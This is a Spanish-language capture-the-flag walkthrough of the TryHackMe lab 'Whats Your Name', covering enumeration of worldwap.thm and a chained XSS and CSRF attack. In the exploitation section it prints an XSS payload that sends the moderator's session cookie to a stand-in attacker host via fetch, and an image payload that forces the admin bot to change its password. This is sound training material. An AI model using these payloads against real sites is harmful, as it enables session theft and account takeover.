XUT_ / MACHINES / THM

0067

Whats Your Name

THMMACHINENONEMEDIUM

Getting the flags

Escaneo Inicial

  1. Primero, como siempre, empezamos mirando los puertos. whats-your-name
  2. Después hacemos un segundo escaneo sobre los puertos abiertos que hemos visto. whats-your-name Y ojo, porque aquí vemos algo bastante interesante: httponly: false. whats-your-name Por lo que es probable que debamos de usar un XSS en algún momento.
  3. Una vez tenemos estos resultados, vamos a enumerar contenido web de los puertos 80 y 8081 (Apache) . Usaremos dirsearch, una herramienta genial para la enumeración web (tanto de directorios como de archivos).
    1. Primero para worldwap.thm: whats-your-name
    2. Vamos a seguir con el directorio public/ que es donde estará la web. whats-your-name De aquí nos interesa el directorio html/: whats-your-name
    3. Ahora vamos con worldwap.thm:8081: whats-your-name

En esta fase hemos encontrado cosas bastante interesantes. Hemos visto:

  • Un posible vector de ataque XSS (por flag HttpOnly not set).
  • Una serie de páginas y scripts que parece que podemos usar para registrarnos, iniciar sesión y cerrar sesión.
  • Una serie de documentos no vacíos que nos generan curiosidad como admin.py o setup.php.

Profundización

Vamos a empezar leyendo los documentos que más curiosidad nos generan:

  1. setup.php: whats-your-name
  2. admin.py: whats-your-name Hemos encontrado credenciales, y de hecho funcionan, las he probado, pero no creo que esta sea la forma en la que el creador pretendía que hiciéramos la máquina, por lo que no las usaremos.

Una vez hecho esto vamos a profundizar en la web. Comenzaremos por worldwap.thm.

  1. Comenzamos yendo a la página tal cual: whats-your-name Pero aquí no podemos ni navegar ni interactuar con ningún botón.
  2. Vamos a ver la página de login.php: whats-your-name Nos apuntamos lo de login.worldwap.thm. Vamos a ver qué hay allí si lo metemos en el /etc/hosts: whats-your-name No hay nada.
  3. Vamos ahora a ver register.php: whats-your-name Dice que el moderador de la web debe aprobar nuestra cuenta, por lo que parece que pueda haber un bot mirando los registros y validándolos al otro lado.

Vamos a seguir ahora con worldwap.thm:8081.

  1. Comenzamos yendo a la página tal cual: whats-your-name Es igual que login.worldwap.thm. Si profundizamos haciendo un escaneo con dirsearch sobre login.worldwap.thm veremos que son exactamente las mismas páginas. Por lo que de ahora en adelante utilizaremos login.worldwap.thm.
  2. Vamos a ver qué hay en login.php: whats-your-name Parece un panel de inicio de sesión interno.

Explotación

Está claro hasta ahora que primero necesitaremos meternos en la cuenta del moderador y luego en la del administrador, tanto por las preguntas sobre las flags como porque lo que hemos visto aparenta ser vulnerable hacia el moderador primero.

  1. Comenzamos yendo al formulario de registro de worldwap.thm: whats-your-name
  2. Vamos a intentar realizar un ataque XSS para robar la cookie de sesión del moderador.
    1. Para ello necesitamos un payload: <img src="x" onerror="fetch('http://IP_ATACANTE:PUERTO_ATACANTE?cookie=' + document.cookie);">
    2. Y lo meteremos en uno de los campos. whats-your-name
    3. Levantaremos un servidor de escucha. whats-your-name
    4. Le daremos a Register: whats-your-name
    5. Miraremos los resultados de conexión. whats-your-name
    6. Cambiamos la cookie en login.worldwap.thm/login.php: whats-your-name

Una vez hemos obtenido la flag de moderator tenemos que averiguar la forma de conseguir la flag de admin.

Si investigamos la página podemos ver que hay un formulario de cambio de contraseña:

whats-your-name

También observamos que hay un chat en el que sólo hay un usuario en linea, el administrador:

whats-your-name

Además es un bot, justo como moderator.

  1. Vamos a usar una técnica de CSRF para intentar cambiar la contraseña del admin, puesto que el cambio de contraseña está reservado a él. whats-your-name
  2. Para ello primero vamos a capturar una petición de esta página. whats-your-name
  3. Ahora vamos al chat y crafteamos una imagen maliciosa.
text
<img src="x" onerror="fetch('/change_password.php', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'new_password=1234'})">
  1. La escribimos en el chat del admin bot. whats-your-name
  2. Ahora cerramos la sesión del moderador y nos logueamos como admin con admin:1234. whats-your-name
  3. Y así es como conseguimos la flag de admin de forma legítima. whats-your-name

Conclusión

En esta máquina hemos podido observar un vector de ataque (HttpOnly: false) que nos permitía obtener la cookie en JavaScript y mandarla a un servidor externo mediante XSS. Con esa cookie podíamos explotar una vulnerabilidad CSRF en el chat para conseguir que el admin cambiara su contraseña sin querer y con ello iniciar sesión como administrador del sitio.

Un reto divertido que pone a prueba alguna de las técnicas aprendidas en el módulo de ataques avanzados del lado del cliente.